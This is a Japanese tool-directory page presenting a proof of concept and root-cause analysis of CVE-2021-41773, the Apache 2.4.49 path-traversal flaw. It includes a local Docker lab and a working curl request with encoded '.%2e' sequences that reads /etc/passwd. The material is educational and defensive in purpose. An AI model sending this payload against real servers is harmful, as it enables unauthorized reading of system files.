Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-41773 — PoC and analysis of CVE-2021-41773 | Kitploit
ツール/GitHubGitHub/tr3m0x/cve-2021-41773
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC and analysis of CVE-2021-41773

リポジトリを見る
24日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-41773 PoC — Apache HTTP Server パストラバーサル

概要

CVE-2021-41773 は、Apache HTTP Server 2.4.49 に影響を与えるパストラバーサル脆弱性です。

この脆弱性により、攻撃者は特定の構成下、特に Alias、ScriptAlias、またはその他の Alias 系ディレクティブを通じてディレクトリが公開されている場合に、意図されたディレクトリの外部にあるファイルへアクセスできる可能性があります。

この脆弱性は、URL パスの正規化およびカノニカル化の不適切な処理に起因します。Apache は、エンコードされた文字をまだ含み得るパス表現に対してセキュリティチェックを実行していたため、攻撃者はエンコードされたドットシーケンスを使用してトラバーサル検出を回避できました。


影響

攻撃者は、次のようなエンコードされたトラバーサルシーケンスを含む悪意のある URL を作成できます:

root@kitploit:~
.%2e

ここで:

root@kitploit:~
%2e = .

したがって:

root@kitploit:~
.%2e

はデコード後に:

root@kitploit:~
..

になります。

Apache がエンコードされた表現を正規形に解決する前に検証する場合、トラバーサルチェックは回避される可能性があります。

悪用に成功すると、攻撃者はファイルシステムから任意のファイルを読み取ることができます。

ターゲットの例:

root@kitploit:~
/etc/passwd

脆弱なコード

脆弱なロジックは、以下にあります:

root@kitploit:~
server/util.c

内の:

root@kitploit:~
ap_normalize_path()

Apache 2.4.49 の脆弱なコード:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

根本原因分析

脆弱なコードは、ディレクトリトラバーサルパターンを識別しようとします:

root@kitploit:~
../

連続するドットをチェックすることで:

root@kitploit:~
path[l + 1] == '.'

しかし、攻撃者はエンコードされたトラバーサルシーケンスを提供できます:

root@kitploit:~
/.%2e/

正規化チェックの時点で、Apache は次のものを処理します:

root@kitploit:~
.%2e

の代わりに:

root@kitploit:~
..

なぜなら:

root@kitploit:~
%2e != .

トラバーサル検出ロジックは、このシーケンスを:

root@kitploit:~
../

として認識しません。

パスはその後、デコードされた形式で解釈され、トラバーサルが発生する可能性があります。


脆弱な処理フロー

脆弱な動作は次のように表せます:

root@kitploit:~
HTTP リクエスト

      |
      v

パス正規化 / トラバーサル検証

      |
      v

URL デコード / カノニカル化

      |
      v

ファイルシステムアクセス

セキュリティ上の決定は、パスが最終的な正規表現に到達する前に行われます。

より安全なアプローチは次のとおりです:

root@kitploit:~
HTTP リクエスト

      |
      v

URL デコード

      |
      v

パス正規化

      |
      v

トラバーサル検証

      |
      v

ファイルシステムアクセス

セキュリティチェックは、常に最終的な正規化表現に対して実行されるべきです。


ラボ構築

リポジトリのクローン

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

脆弱な Docker イメージのビルド

root@kitploit:~
docker build -t apache-cve-2021-41773 .

脆弱な Apache サーバーの起動

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

悪用

エンコードされたトラバーサルシーケンスを含むリクエストを送信します:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

悪用に成功すると、次の内容が返されます:

root@kitploit:~
/etc/passwd

例:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

HTTP 403 レスポンスに関する注意

403 Forbidden レスポンスは、必ずしも悪用が失敗したことを意味しません。

テスト中、Apache は次のものを正常に正規化する可能性があります:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

を:

root@kitploit:~
/etc/passwd

に変換しますが、ファイルシステムの権限や Apache の認可ルールによりアクセスを拒否します。

例:

root@kitploit:~
client denied by server configuration: /etc/passwd

これは、トラバーサルが正常に発生したが、アクセス制御がファイル開示を防いだことを示します。


重要なポイント

CVE-2021-41773 は、カノニカル化の脆弱性の典型的な例です。

ユーザー制御の入力には、複数の表現が存在し得ます:

root@kitploit:~
.%2e

と:

root@kitploit:~
..

見た目は異なりますが、これらは同じパスコンポーネントを表します。

セキュリティチェックは、常にデコードおよび正規化の後に実行される必要があります。エンコードされた表現や曖昧な表現を検証すると、セキュリティバイパスにつながる可能性があります。

ツールをダウンロード